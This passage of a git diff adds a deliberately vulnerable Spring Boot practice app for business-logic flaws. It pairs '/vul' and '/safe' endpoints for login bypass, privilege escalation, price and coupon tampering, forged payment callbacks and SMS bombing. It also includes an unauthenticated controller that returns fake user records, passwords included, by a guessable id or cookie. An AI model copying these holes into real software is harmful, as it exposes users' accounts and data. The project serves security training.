接口 2: 随机生成10-100个订单的敏感信息 + @GetMapping("/api/ecommerce-order-list") + public List> generateEcommerceOrderList() { + int count = 10 + random.nextInt(91); // 随机生成10到100之间的数字 + List> orderList = new ArrayList<>(); + for (int i = 0; i < count; i++) { + orderList.add(generateEcommerceOrder()); + } + return orderList; + } +} diff --git a/logic_vul/src/main/java/com/myapp/controller/FakePersonDataController.java b/logic_vul/src/main/java/com/myapp/controller/FakePersonDataController.java new file mode 100644 index 0000000..c88844c --- /dev/null +++ b/logic_vul/src/main/java/com/myapp/controller/FakePersonDataController.java @@ -0,0 +1,80 @@ +package com.myapp.controller; + +import com.github.javafaker.Faker; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.RestController; + +import java.util.*; + + +@RestController +public class FakePersonDataController { + // 设置Faker使用中文(中国)语言环境 + private final Faker faker = new Faker(new Locale("zh-CN")); + private final Random random = new Random(); + + // 辅助方法:生成中国风格的身份证号码 + private String generateChineseIDNumber() { + // 地址码(随机6位) + String addressCode = String.format("%06d", random.nextInt(1000000)); + // 出生日期(随机8位,假设为1980-2022年间) + int year = 1980 + random.nextInt(43); // 随机生成年份(1980-2022) + int month = 1 + random.nextInt(12); // 随机生成月份 + int day = 1 + random.nextInt(28); // 随机生成日期(简单化处理为最多28天) + String birthDate = String.format("%04d%02d%02d", year, month, day); + // 顺序码(随机3位) + String orderCode = String.format("%03d", random.nextInt(1000)); + // 校验码(随机1位) + char checkCode = (char) ('0' + random.nextInt(10)); // 简化为0-9 + + return addressCode + birthDate + orderCode + checkCode; + } + + + // 接口 1: 生成姓名、身份证、手机号码(返回JSON格式) + @GetMapping("/api/fake-person-basic") + public Map generateFakePersonBasic() { + Map personInfo = new HashMap<>(); + personInfo.put("name", faker.name().fullName()); + personInfo.put("idNumber", generateChineseIDNumber()); + personInfo.put("phoneNumber", faker.phoneNumber().cellPhone()); + return personInfo; + } + + // 接口 2: 生成姓名、身份证、手机号码、地址、性别、电子邮箱地址、电话号码(返回JSON格式) + @GetMapping("/api/fake-person-full") + public Map generateFakePersonFull() { + Map personInfo = new HashMap<>(); + personInfo.put("name", faker.name().fullName()); + personInfo.put("idNumber", generateChineseIDNumber()); + personInfo.put("phoneNumber", faker.phoneNumber().cellPhone()); + personInfo.put("address", faker.address().fullAddress()); + personInfo.put("gender", faker.options().option("男", "女")); // 随机生成性别 + personInfo.put("email", faker.internet().emailAddress()); // 生成电子邮箱地址 + personInfo.put("landlineNumber", faker.phoneNumber().phoneNumber()); // 生成座机电话号码 + return personInfo; + } + + // 新增接口 1: 随机生成10-100个基本个人信息 + @GetMapping("/api/fake-person-basic-list") + public List> generateFakePersonBasicList() { + int count = 10 + random.nextInt(91); // 随机生成10到100之间的数字 + List> personList = new ArrayList<>(); + for (int i = 0; i < count; i++) { + personList.add(generateFakePersonBasic()); + } + return personList; + } + + // 新增接口 2: 随机生成10-100个完整的个人信息 + @GetMapping("/api/fake-person-full-list") + public List> generateFakePersonFullList() { + int count = 10 + random.nextInt(91); // 随机生成10到100之间的数字 + List> personList = new ArrayList<>(); + for (int i = 0; i < count; i++) { + personList.add(generateFakePersonFull()); + } + return personList; + } + +} diff --git a/logic_vul/src/main/java/com/myapp/controller/IndexController.java b/logic_vul/src/main/java/com/myapp/controller/IndexController.java new file mode 100644 index 0000000..3e6299b --- /dev/null +++ b/logic_vul/src/main/java/com/myapp/controller/IndexController.java @@ -0,0 +1,153 @@ +package com.myapp.controller; + +import com.github.javafaker.Faker; +import com.fasterxml.jackson.databind.ObjectMapper; +import org.springframework.stereotype.Controller; +import org.springframework.web.bind.annotation.GetMapping; + +import java.io.BufferedWriter; +import java.io.File; +import java.io.FileWriter; +import java.io.IOException; +import java.util.*; + +@Controller +public class IndexController { + + private final Faker faker = new Faker(new Locale("zh-CN")); + Faker englishFaker = new Faker(new Locale("en-US")); // 使用英文环境的Faker实例 + private final Random random = new Random(); + private final ObjectMapper objectMapper = new ObjectMapper(); // 创建 Jackson ObjectMapper 对象 + private int idCounter = 1; // ID 计数器 + + @GetMapping("/index") + public String showVulnerabilityPage() { + initializeFakeData(); // 访问index页面时生成初始化虚假数据 + return "index"; // 返回页面名称,不需要添加".html" + } + + // 初始化虚假数据并保存到文件 + private void initializeFakeData() { + String personalDataFilePath = "result/personalData.json"; + String ecommerceDataFilePath = "result/ecommerceData.json"; + String userLoginDataFilePath = "result/userLoginData.json"; // 用户登录信息文件路径 + + // 检查文件是否存在,如果存在则跳过写入 + if (!fileExists(personalDataFilePath)) { + List> personalDataList = new ArrayList<>(); + // 生成10个个人数据 + for (int i = 0; i < 1000; i++) { + personalDataList.add(generateFakePerson()); + } + saveDataToFile(personalDataFilePath, personalDataList); + } + + if (!fileExists(ecommerceDataFilePath)) { + List> ecommerceDataList = new ArrayList<>(); + // 生成10个电商订单数据 + for (int i = 0; i < 1000; i++) { + ecommerceDataList.add(generateEcommerceOrder()); + } + saveDataToFile(ecommerceDataFilePath, ecommerceDataList); + } + + if (!fileExists(userLoginDataFilePath)) { + List> userLoginDataList = new ArrayList<>(); + // 生成10个用户登录数据 + for (int i = 0; i < 1000; i++) { + userLoginDataList.add(generateUserLoginData()); + } + saveDataToFile(userLoginDataFilePath, userLoginDataList); + } + } + + // 辅助方法:检查文件是否存在 + private boolean fileExists(String filePath) { + File file = new File(filePath); + return file.exists(); + } + + // 辅助方法:生成单个个人的敏感信息,包含自增ID + private Map generateFakePerson() { + Map personInfo = new HashMap<>(); + personInfo.put("id", idCounter++); // 添加自增ID + personInfo.put("name", faker.name().fullName()); + personInfo.put("email", faker.internet().emailAddress()); // 生成电子邮箱地址 + + personInfo.put("idNumber", generateChineseIDNumber()); + personInfo.put("phoneNumber", faker.phoneNumber().cellPhone()); + personInfo.put("address", faker.address().fullAddress()); + personInfo.put("gender", faker.options().option("男", "女")); + personInfo.put("email", faker.internet().emailAddress()); + personInfo.put("landlineNumber", faker.phoneNumber().phoneNumber()); + return personInfo; + } + + // 辅助方法:生成单个电商订单的敏感信息,包含自增ID + private Map generateEcommerceOrder() { + Map orderInfo = new HashMap<>(); + orderInfo.put("id", idCounter++); // 添加自增ID + orderInfo.put("orderNumber", generateOrderNumber()); + orderInfo.put("name", faker.name().fullName()); + orderInfo.put("phoneNumber", faker.phoneNumber().cellPhone()); + orderInfo.put("address", faker.address().fullAddress()); + orderInfo.put("productInfo", generateProductInfo()); + return orderInfo; + } + + // 新增辅助方法:生成用户登录信息,包含自增ID和username + private Map generateUserLoginData() { + Map loginInfo = new HashMap<>(); + loginInfo.put("id", idCounter++); // 添加自增ID + loginInfo.put("name", faker.name().fullName()); // 中文全名 + loginInfo.put("username", englishFaker.name().username()); // 使用英文环境生成英文用户名 + loginInfo.put("email", faker.internet().emailAddress()); + loginInfo.put("phoneNumber", faker.phoneNumber().cellPhone()); + loginInfo.put("userRole", faker.options().option("管理员", "用户", "访客")); // 随机生成用户角色 + loginInfo.put("password", faker.internet().password(8, 16)); // 生成8到16字符的随机密码 + return loginInfo; + } + + // 辅助方法:生成随机订单号 + private String generateOrderNumber() { + return String.format("%010d", random.nextInt(1000000000)); + } + + // 辅助方法:生成随机商品信息 + private Map generateProductInfo() { + Map productInfo = new HashMap<>(); + productInfo.put("productName", faker.commerce().productName()); + productInfo.put("quantity", 1 + random.nextInt(5)); // 随机生成1到5之间的商品数量 + productInfo.put("price", Double.parseDouble(faker.commerce().price())); // 生成随机价格 + return productInfo; + } + + // 辅助方法:生成中国风格的身份证号码 + private String generateChineseIDNumber() { + String addressCode = String.format("%06d", random.nextInt(1000000)); + int year = 1980 + random.nextInt(43); + int month = 1 + random.nextInt(12); + int day = 1 + random.nextInt(28); + String birthDate = String.format("%04d%02d%02d", year, month, day); + String orderCode = String.format("%03d", random.nextInt(1000)); + char checkCode = (char) ('0' + random.nextInt(10)); + return addressCode + birthDate + orderCode + checkCode; + } + + // 辅助方法:将数据保存到文件 (JSON 格式) + private void saveDataToFile(String filePath, List data) { + File file = new File(filePath); + file.getParentFile().mkdirs(); // 创建父目录 + + // 输出文件的绝对路径 + System.out.println("Saving data to file: " + file.getAbsolutePath()); + + try (BufferedWriter writer = new BufferedWriter(new FileWriter(file))) { + // 使用 ObjectMapper 将数据转换为 JSON 格式字符串 + String json = objectMapper.writerWithDefaultPrettyPrinter().writeValueAsString(data); + writer.write(json); // 写入 JSON 格式的数据 + } catch (IOException e) { + e.printStackTrace(); + } + } +} diff --git a/logic_vul/src/main/java/com/myapp/controller/LogicVulController.java b/logic_vul/src/main/java/com/myapp/controller/LogicVulController.java new file mode 100644 index 0000000..81703e8 --- /dev/null +++ b/logic_vul/src/main/java/com/myapp/controller/LogicVulController.java @@ -0,0 +1,262 @@ +package com.myapp.controller; + +import com.myapp.model.CheckoutRequest; +import com.myapp.model.CouponRedeemRequest; +import com.myapp.model.DebugBypassRequest; +import com.myapp.model.DiscountCalcRequest; +import com.myapp.model.LoginRequest; +import com.myapp.model.NegativeAmountRequest; +import com.myapp.model.OrderStateChangeRequest; +import com.myapp.model.OversellRequest; +import com.myapp.model.PaymentCallbackRequest; +import com.myapp.model.PasswordResetConfirmRequest; +import com.myapp.model.PasswordResetSendRequest; +import com.myapp.model.ApprovalRequest; +import com.myapp.model.RefundRequest; +import com.myapp.model.SmsSendRequest; +import com.myapp.model.SmsVerifyRequest; +import com.myapp.model.WalletRefundRequest; +import com.myapp.service.LogicVulService; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestHeader; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.RestController; + +import java.util.Map; + +@RestController +@RequestMapping +public class LogicVulController { + private final LogicVulService logicVulService; + + public LogicVulController(LogicVulService logicVulService) { + this.logicVulService = logicVulService; + } + + @GetMapping("/logic-vul/info") + public Map info() { + return logicVulService.info(); + } + + @PostMapping("/auth/login-vul") + public Map loginVul(@RequestBody LoginRequest request) { + return logicVulService.loginVulnerable(request); + } + + @PostMapping("/auth/login-safe") + public Map loginSafe(@RequestBody LoginRequest request) { + return logicVulService.loginSafe(request); + } + + @GetMapping("/auth/me") + public Map whoAmI(@RequestHeader(value = "X-Logic-Token", required = false) String token) { + return logicVulService.whoAmI(token); + } + + @GetMapping("/api/personal/{profileId}/vul") + public Map personalVul(@PathVariable Long profileId, + @RequestParam(value = "actingUserId", required = false) Long actingUserId) { + return logicVulService.profileVulnerable(profileId, actingUserId); + } + + @GetMapping("/api/personal/{profileId}/safe") + public Map personalSafe(@PathVariable Long profileId, + @RequestHeader(value = "X-Logic-Token", required = false) String token) { + return logicVulService.profileSafe(profileId, token); + } + + @GetMapping("/api/admin/report/vul") + public Map adminReportVul(@RequestParam(value = "actingUserId", required = false) Long actingUserId, + @RequestHeader(value = "X-Client-Role", required = false) String role) { + return logicVulService.adminReportVulnerable(actingUserId, role); + } + + @GetMapping("/api/admin/report/safe") + public Map adminReportSafe(@RequestHeader(value = "X-Logic-Token", required = false) String token) { + return logicVulService.adminReportSafe(token); + } + + @PostMapping("/api/orders/{orderId}/checkout/vul") + public Map checkoutVul(@PathVariable Long orderId, + @RequestParam(value = "actingUserId", required = false) Long actingUserId, + @RequestBody(required = false) CheckoutRequest request) { + return logicVulService.checkoutVulnerable(orderId, actingUserId, request); + } + + @PostMapping("/api/orders/{orderId}/checkout/safe") + public Map checkoutSafe(@PathVariable Long orderId, + @RequestHeader(value = "X-Logic-Token", required = false) String token, + @RequestBody(required = false) CheckoutRequest request) { + return logicVulService.checkoutSafe(orderId, token, request); + } + + @PostMapping("/promo/coupons/redeem/vul") + public Map couponRedeemVul(@RequestBody CouponRedeemRequest request) { + return logicVulService.couponRedeemVulnerable(request); + } + + @PostMapping("/promo/coupons/redeem/safe") + public Map couponRedeemSafe(@RequestHeader(value = "X-Logic-Token", required = false) String token, + @RequestBody CouponRedeemRequest request) { + return logicVulService.couponRedeemSafe(request, token); + } + + @PostMapping("/payments/{orderId}/refund/vul") + public Map refundVul(@PathVariable Long orderId, + @RequestBody(required = false) RefundRequest request) { + return logicVulService.refundVulnerable(orderId, request); + } + + @PostMapping("/payments/{orderId}/refund/safe") + public Map refundSafe(@PathVariable Long orderId, + @RequestHeader(value = "X-Logic-Token", required = false) String token, + @RequestBody(required = false) RefundRequest request) { + return logicVulService.refundSafe(orderId, token, request); + } + + @PostMapping("/pricing/discounts/calculate/vul") + public Map discountVul(@RequestBody(required = false) DiscountCalcRequest request) { + return logicVulService.calculateDiscountVulnerable(request); + } + + @PostMapping("/pricing/discounts/calculate/safe") + public Map discountSafe(@RequestBody(required = false) DiscountCalcRequest request) { + return logicVulService.calculateDiscountSafe(request); + } + + @PostMapping("/pricing/negative-amount/vul") + public Map negativeAmountVul(@RequestBody(required = false) NegativeAmountRequest request) { + return logicVulService.negativeAmountVulnerable(request); + } + + @PostMapping("/pricing/negative-amount/safe") + public Map negativeAmountSafe(@RequestBody(required = false) NegativeAmountRequest request) { + return logicVulService.negativeAmountSafe(request); + } + + @PostMapping("/inventory/oversell/vul") + public Map oversellVul(@RequestBody(required = false) OversellRequest request) { + return logicVulService.oversellVulnerable(request); + } + + @PostMapping("/inventory/oversell/safe") + public Map oversellSafe(@RequestBody(required = false) OversellRequest request) { + return logicVulService.oversellSafe(request); + } + + @PostMapping("/wallet/orders/{orderId}/refund/vul") + public Map walletRefundVul(@PathVariable Long orderId, + @RequestBody(required = false) WalletRefundRequest request) { + return logicVulService.walletRefundVulnerable(orderId, request); + } + + @PostMapping("/wallet/orders/{orderId}/refund/safe") + public Map walletRefundSafe(@PathVariable Long orderId, + @RequestHeader(value = "X-Logic-Token", required = false) String token, + @RequestBody(required = false) WalletRefundRequest request) { + return logicVulService.walletRefundSafe(orderId, token, request); + } + + @PostMapping("/workflow/debug-bypass/vul") + public Map debugBypassVul(@RequestBody(required = false) DebugBypassRequest request) { + return logicVulService.debugBypassVulnerable(request); + } + + @PostMapping("/workflow/debug-bypass/safe") + public Map debugBypassSafe(@RequestHeader(value = "X-Logic-Token", required = false) String token, + @RequestBody(required = false) DebugBypassRequest request) { + return logicVulService.debugBypassSafe(request, token); + } + + @PostMapping("/payments/callback/vul") + public Map paymentCallbackVul(@RequestBody(required = false) PaymentCallbackRequest request) { + return logicVulService.paymentCallbackVulnerable(request); + } + + @PostMapping("/payments/callback/safe") + public Map paymentCallbackSafe(@RequestBody(required = false) PaymentCallbackRequest request) { + return logicVulService.paymentCallbackSafe(request); + } + + @PostMapping("/auth/reset/send-vul") + public Map resetSendVul(@RequestBody PasswordResetSendRequest request) { + return logicVulService.sendResetVulnerable(request); + } + + @PostMapping("/auth/reset/confirm-vul") + public Map resetConfirmVul(@RequestBody PasswordResetConfirmRequest request) { + return logicVulService.confirmResetVulnerable(request); + } + + @PostMapping("/auth/reset/send-safe") + public Map resetSendSafe(@RequestBody PasswordResetSendRequest request) { + return logicVulService.sendResetSafe(request); + } + + @PostMapping("/auth/reset/confirm-safe") + public Map resetConfirmSafe(@RequestBody PasswordResetConfirmRequest request) { + return logicVulService.confirmResetSafe(request); + } + + @PostMapping("/workflow/approval/{taskId}/vul") + public Map approvalVul(@PathVariable Long taskId, + @RequestBody(required = false) ApprovalRequest request) { + return logicVulService.approvalVulnerable(taskId, request); + } + + @PostMapping("/workflow/approval/{taskId}/safe") + public Map approvalSafe(@PathVariable Long taskId, + @RequestHeader(value = "X-Logic-Token", required = false) String token, + @RequestBody(required = false) ApprovalRequest request) { + return logicVulService.approvalSafe(taskId, request, token); + } + + @PostMapping("/workflow/orders/{orderId}/state/vul") + public Map orderStateVul(@PathVariable Long orderId, + @RequestBody(required = false) OrderStateChangeRequest request) { + return logicVulService.orderStateVulnerable(orderId, request); + } + + @PostMapping("/workflow/orders/{orderId}/state/safe") + public Map orderStateSafe(@PathVariable Long orderId, + @RequestHeader(value = "X-Logic-Token", required = false) String token, + @RequestBody(required = false) OrderStateChangeRequest request) { + return logicVulService.orderStateSafe(orderId, request, token); + } + + @PostMapping("/sms/send-vul") + public Map sendSmsVul(@RequestBody SmsSendRequest request) { + return logicVulService.sendSmsVulnerable(request); + } + + @PostMapping("/sms/verify-vul") + public Map verifySmsVul(@RequestBody SmsVerifyRequest request) { + return logicVulService.verifySmsVulnerable(request); + } + + @PostMapping("/sms/send-safe") + public Map sendSmsSafe(@RequestBody SmsSendRequest request) { + return logicVulService.sendSmsSafe(request); + } + + @PostMapping("/sms/verify-safe") + public Map verifySmsSafe(@RequestBody SmsVerifyRequest request) { + return logicVulService.verifySmsSafe(request); + } + + @PostMapping("/sms/bomb-vul") + public Map smsBombVul(@RequestParam("phoneNumber") String phoneNumber, + @RequestParam(value = "batch", required = false) Integer batch) { + return logicVulService.smsBombVulnerable(phoneNumber, batch); + } + + @PostMapping("/sms/bomb-safe") + public Map smsBombSafe(@RequestParam("phoneNumber") String phoneNumber, + @RequestParam(value = "batch", required = false) Integer batch) { + return logicVulService.smsBombSafe(phoneNumber, batch); + } +} diff --git a/logic_vul/src/main/java/com/myapp/controller/LogicVulPageController.java b/logic_vul/src/main/java/com/myapp/controller/LogicVulPageController.java new file mode 100644 index 0000000..bd3d7d5 --- /dev/null +++ b/logic_vul/src/main/java/com/myapp/controller/LogicVulPageController.java @@ -0,0 +1,98 @@ +package com.myapp.controller; + +import org.springframework.stereotype.Controller; +import org.springframework.web.bind.annotation.GetMapping; + +@Controller +public class LogicVulPageController { + + @GetMapping({"/", "/logic-vul"}) + public String home() { + return "logic-vul-home"; + } + + @GetMapping("/logic-vul/identity") + public String identity() { + return "logic-vul-identity"; + } + + @GetMapping("/logic-vul/horizontal") + public String horizontal() { + return "logic-vul-horizontal"; + } + + @GetMapping("/logic-vul/vertical") + public String vertical() { + return "logic-vul-vertical"; + } + + @GetMapping("/logic-vul/checkout") + public String checkout() { + return "logic-vul-checkout"; + } + + @GetMapping("/logic-vul/sms-code") + public String smsCode() { + return "logic-vul-sms-code"; + } + + @GetMapping("/logic-vul/sms-bomb") + public String smsBomb() { + return "logic-vul-sms-bomb"; + } + + @GetMapping("/logic-vul/coupon") + public String coupon() { + return "logic-vul-coupon"; + } + + @GetMapping("/logic-vul/refund") + public String refund() { + return "logic-vul-refund"; + } + + @GetMapping("/logic-vul/discount") + public String discount() { + return "logic-vul-discount"; + } + + @GetMapping("/logic-vul/negative-amount") + public String negativeAmount() { + return "logic-vul-negative-amount"; + } + + @GetMapping("/logic-vul/oversell") + public String oversell() { + return "logic-vul-oversell"; + } + + @GetMapping("/logic-vul/balance-refund") + public String balanceRefund() { + return "logic-vul-balance-refund"; + } + + @GetMapping("/logic-vul/debug-bypass") + public String debugBypass() { + return "logic-vul-debug-bypass"; + } + + @GetMapping("/logic-vul/payment-callback") + public String paymentCallback() { + return "logic-vul-payment-callback"; + } + + @GetMapping("/logic-vul/reset") + public String reset() { + return "logic-vul-reset"; + } + + @GetMapping("/logic-vul/approval") + public String approval() { + return "logic-vul-approval"; + } + + @GetMapping("/logic-vul/state-machine") + public String stateMachine() { + return "logic-vul-state-machine"; + } +} diff --git a/logic_vul/src/main/java/com/myapp/controller/UnauthorizedAccessController.java b/logic_vul/src/main/java/com/myapp/controller/UnauthorizedAccessController.java new file mode 100644 index 0000000..85e29cb --- /dev/null +++ b/logic_vul/src/main/java/com/myapp/controller/UnauthorizedAccessController.java @@ -0,0 +1,74 @@ +package com.myapp.controller; + +import com.fasterxml.jackson.core.type.TypeReference; +import com.fasterxml.jackson.databind.ObjectMapper; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.RequestHeader; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.RestController; + +import java.io.File; +import java.io.IOException; +import java.util.List; +import java.util.Map; +import java.util.Optional; + +@RestController +public class UnauthorizedAccessController { + + private final ObjectMapper objectMapper = new ObjectMapper(); + private final String userLoginDataFilePath = "result/userLoginData.json"; // 定义用户登录数据的文件路径 + + // 方法 1: 通过请求参数查询用户信息 + @GetMapping("/api/user") + public Map getUserById(@RequestParam("id") int id) { + List> users = readUserData(); + if (users != null) { + Optional> user = users.stream() + .filter(u -> u.get("id").equals(id)) + .findFirst(); + if (user.isPresent()) { + return user.get(); + } + } + return null; + } + + // 方法 2: 通过cookie查询用户信息 + @GetMapping("/api/user/cookie") + public Map getUserByCookie(@RequestHeader("Cookie") String cookieHeader) { + String idCookie = extractIdFromCookie(cookieHeader); + if (idCookie != null) { + try { + int id = Integer.parseInt(idCookie); + return getUserById(id); // 调用上面的方法查询用户 + } catch (NumberFormatException e) { + e.printStackTrace(); + } + } + return null; + } + + // 从cookie中提取ID + private String extractIdFromCookie(String cookieHeader) { + String[] cookies = cookieHeader.split(";"); + for (String cookie : cookies) { + String[] keyValue = cookie.trim().split("="); + if (keyValue.length == 2 && keyValue[0].equals("id")) { + return keyValue[1]; + } + } + return null; + } + + // 读取用户数据 + private List> readUserData() { + File file = new File(userLoginDataFilePath); + try { + return objectMapper.readValue(file, new TypeReference>>() {}); + } catch (IOException e) { + e.printStackTrace(); + } + return null; + } +} diff --git a/logic_vul/src/main/java/com/myapp/model/ApprovalRequest.java b/logic_vul/src/main/java/com/myapp/model/ApprovalRequest.java new file mode 100644 index 0000000..89e6604 --- /dev/null +++ b/logic_vul/src/main/java/com/myapp/model/ApprovalRequest.java @@ -0,0 +1,40 @@ +package com.myapp.model; + +public class ApprovalRequest { + private Long actingUserId; + private String action; + private String targetStatus; + private String comment; + + public Long getActingUserId() { + return actingUserId; + } + + public void setActingUserId(Long actingUserId) { + this.actingUserId = actingUserId; + } + + public String getAction() { + return action; + } + + public void setAction(String action) { + this.action = action; + } + + public String getTargetStatus() { + return targetStatus; + } + + public void setTargetStatus(String targetStatus) { + this.targetStatus = targetStatus; + } + + public String getComment() { + return comment; + } + + public void setComment(String comment) { + this.comment = comment; + } +} diff --git a/logic_vul/src/main/java/com/myapp/model/CheckoutRequest.java b/logic_vul/src/main/java/com/myapp/model/CheckoutRequest.java new file mode 100644 index 0000000..387df1b --- /dev/null +++ b/logic_vul/src/main/java/com/myapp/model/CheckoutRequest.java @@ -0,0 +1,40 @@ +package com.myapp.model; + +public class CheckoutRequest { + private Double clientTotal; + private Boolean markAsPaid; + private Boolean skipInventoryCheck; + private String paymentReference; + + public Double getClientTotal() { + return clientTotal; + } + + public void setClientTotal(Double clientTotal) { + this.clientTotal = clientTotal; + } + + public Boolean getMarkAsPaid() { + return markAsPaid; + } + + public void setMarkAsPaid(Boolean markAsPaid) { + this.markAsPaid = markAsPaid; + } + + public Boolean getSkipInventoryCheck() { + return skipInventoryCheck; + } + + public void setSkipInventoryCheck(Boolean skipInventoryCheck) { + this.skipInventoryCheck = skipInventoryCheck; + } + + public String getPaymentReference() { + return paymentReference; + } + + public void setPaymentReference(String paymentReference) { + this.paymentReference = paymentReference; + } +} diff --git a/logic_vul/src/main/java/com/myapp/model/CouponRedeemRequest.java b/logic_vul/src/main/java/com/myapp/model/CouponRedeemRequest.java new file mode 100644 index 0000000..8987755 --- /dev/null +++ b/logic_vul/src/main/java/com/myapp/model/CouponRedeemRequest.java @@ -0,0 +1,40 @@ +package com.myapp.model; + +public class CouponRedeemRequest { + private Long actingUserId; + private String couponCode; + private Double orderAmount; + private Integer redemptionCount; + + public Long getActingUserId() { + return actingUserId; + } + + public void setActingUserId(Long actingUserId) { + this.actingUserId = actingUserId; + } + + public String getCouponCode() { + return couponCode; + } + + public void setCouponCode(String couponCode) { + this.couponCode = couponCode; + } + + public Double getOrderAmount() { + return orderAmount; + } + + public void setOrderAmount(Double orderAmount) { + this.orderAmount = orderAmount; + } + + public Integer getRedemptionCount() { + return redemptionCount; + } + + public void setRedemptionCount(Integer redemptionCount) { + this.redemptionCount = redemptionCount; + } +} diff --git a/logic_vul/src/main/java/com/myapp/model/DebugBypassRequest.java b/logic_vul/src/main/java/com/myapp/model/DebugBypassRequest.java new file mode 100644 index 0000000..68ebf77 --- /dev/null +++ b/logic_vul/src/main/java/com/myapp/model/DebugBypassRequest.java @@ -0,0 +1,40 @@ +package com.myapp.model; + +public class DebugBypassRequest { + private Long actingUserId; + private Boolean debugMode; + private Boolean skipAudit; + private String reason; + + public Long getActingUserId() { + return actingUserId; + } + + public void setActingUserId(Long actingUserId) { + this.actingUserId = actingUserId; + } + + public Boolean getDebugMode() { + return debugMode; + } + + public void setDebugMode(Boolean debugMode) { + this.debugMode = debugMode; + } + + public Boolean getSkipAudit() { + return skipAudit; + } + + public void setSkipAudit(Boolean skipAudit) { + this.skipAudit = skipAudit; + } + + public String getReason() { + return reason; + } + + public void setReason(String reason) { + this.reason = reason; + } +} diff --git a/logic_vul/src/main/java/com/myapp/model/DiscountCalcRequest.java b/logic_vul/src/main/java/com/myapp/model/DiscountCalcRequest.java new file mode 100644 index 0000000..497f3dd --- /dev/null +++ b/logic_vul/src/main/java/com/myapp/model/DiscountCalcRequest.java @@ -0,0 +1,49 @@ +package com.myapp.model; + +public class DiscountCalcRequest { + private Double baseAmount; + private Double couponAmount; + private Double vipRate; + private Double flashSaleRate; + private Double pointsAmount; + + public Double getBaseAmount() { + return baseAmount; + } + + public void setBaseAmount(Double baseAmount) { + this.baseAmount = baseAmount; + } + + public Double getCouponAmount() { + return couponAmount; + } + + public void setCouponAmount(Double couponAmount) { + this.couponAmount = couponAmount; + } + + public Double getVipRate() { + return vipRate; + } + + public void setVipRate(Double vipRate) { + this.vipRate = vipRate; + } + + public Double getFlashSaleRate() { + return flashSaleRate; + } + + public void setFlashSaleRate(Double flashSaleRate) { + this.flashSaleRate = flashSaleRate; + } + + public Double getPointsAmount() { + return pointsAmount; + } + + public void setPointsAmount(Double pointsAmount) { + this.pointsAmount = pointsAmount; + } +} diff --git a/logic_vul/src/main/java/com/myapp/model/LoginRequest.java b/logic_vul/src/main/java/com/myapp/model/LoginRequest.java new file mode 100644 index 0000000..8dfc7a8 --- /dev/null +++ b/logic_vul/src/main/java/com/myapp/model/LoginRequest.java @@ -0,0 +1,40 @@ +package com.myapp.model; + +public class LoginRequest { + private String username; + private String password; + private Long debugUserId; + private Boolean bypassPassword; + + public String getUsername() { + return username; + } + + public void setUsername(String username) { + this.username = username; + } + + public String getPassword() { + return password; + } + + public void setPassword(String password) { + this.password = password; + } + + public Long getDebugUserId() { + return debugUserId; + } + + public void setDebugUserId(Long debugUserId) { + this.debugUserId = debugUserId; + } + + public Boolean getBypassPassword() { + return bypassPassword; + } + + public void setBypassPassword(Boolean bypassPassword) { + this.bypassPassword = bypassPassword; + } +} diff --git a/logic_vul/src/main/java/com/myapp/model/NegativeAmountRequest.java b/logic_vul/src/main/java/com/myapp/model/NegativeAmountRequest.java new file mode 100644 index 0000000..d159de3 --- /dev/null +++ b/logic_vul/src/main/java/com/myapp/model/NegativeAmountRequest.java @@ -0,0 +1,40 @@ +package com.myapp.model; + +public class NegativeAmountRequest { + private Long actingUserId; + private Integer quantity; + private Double unitPrice; + private Double couponAmount; + + public Long getActingUserId() { + return actingUserId; + } + + public void setActingUserId(Long actingUserId) { + this.actingUserId = actingUserId; + } + + public Integer getQuantity() { + return quantity; + } + + public void setQuantity(Integer quantity) { + this.quantity = quantity; + } + + public Double getUnitPrice() { + return unitPrice; + } + + public void setUnitPrice(Double unitPrice) { + this.unitPrice = unitPrice; + } + + public Double getCouponAmount() { + return couponAmount; + } + + public void setCouponAmount(Double couponAmount) { + this.couponAmount = couponAmount; + } +} diff --git a/logic_vul/src/main/java/com/myapp/model/OrderRecord.java b/logic_vul/src/main/java/com/myapp/model/OrderRecord.java new file mode 100644 index 0000000..c91ecbb --- /dev/null +++ b/logic_vul/src/main/java/com/myapp/model/OrderRecord.java @@ -0,0 +1,95 @@ +package com.myapp.model; + +public class OrderRecord { + private Long id; + private String orderNumber; + private Long ownerUserId; + private String productName; + private int quantity; + private double unitPrice; + private String status; + private boolean inventoryLocked; + + public OrderRecord() { + } + + public OrderRecord(Long id, String orderNumber, Long ownerUserId, String productName, int quantity, double unitPrice, + String status, boolean inventoryLocked) { + this.id = id; + this.orderNumber = orderNumber; + this.ownerUserId = ownerUserId; + this.productName = productName; + this.quantity = quantity; + this.unitPrice = unitPrice; + this.status = status; + this.inventoryLocked = inventoryLocked; + } + + public Long getId() { + return id; + } + + public void setId(Long id) { + this.id = id; + } + + public String getOrderNumber() { + return orderNumber; + } + + public void setOrderNumber(String orderNumber) { + this.orderNumber = orderNumber; + } + + public Long getOwnerUserId() { + return ownerUserId; + } + + public void setOwnerUserId(Long ownerUserId) { + this.ownerUserId = ownerUserId; + } + + public String getProductName() { + return productName; + } + + public void setProductName(String productName) { + this.productName = productName; + } + + public int getQuantity() { + return quantity; + } + + public void setQuantity(int quantity) { + this.quantity = quantity; + } + + public double getUnitPrice() { + return unitPrice; + } + + public void setUnitPrice(double unitPrice) { + this.unitPrice = unitPrice; + } + + public String getStatus() { + return status; + } + + public void setStatus(String status) { + this.status = status; + } + + public boolean isInventoryLocked() { + return inventoryLocked; + } + + public void setInventoryLocked(boolean inventoryLocked) { + this.inventoryLocked = inventoryLocked; + } + + public double serverTotal() { + return quantity * unitPrice; + } +} diff --git a/logic_vul/src/main/java/com/myapp/model/OrderStateChangeRequest.java b/logic_vul/src/main/java/com/myapp/model/OrderStateChangeRequest.java new file mode 100644 index 0000000..772ca76 --- /dev/null +++ b/logic_vul/src/main/java/com/myapp/model/OrderStateChangeRequest.java @@ -0,0 +1,31 @@ +package com.myapp.model; + +public class OrderStateChangeRequest { + private Long actingUserId; + private String action; + private String targetStatus; + + public Long getActingUserId() { + return 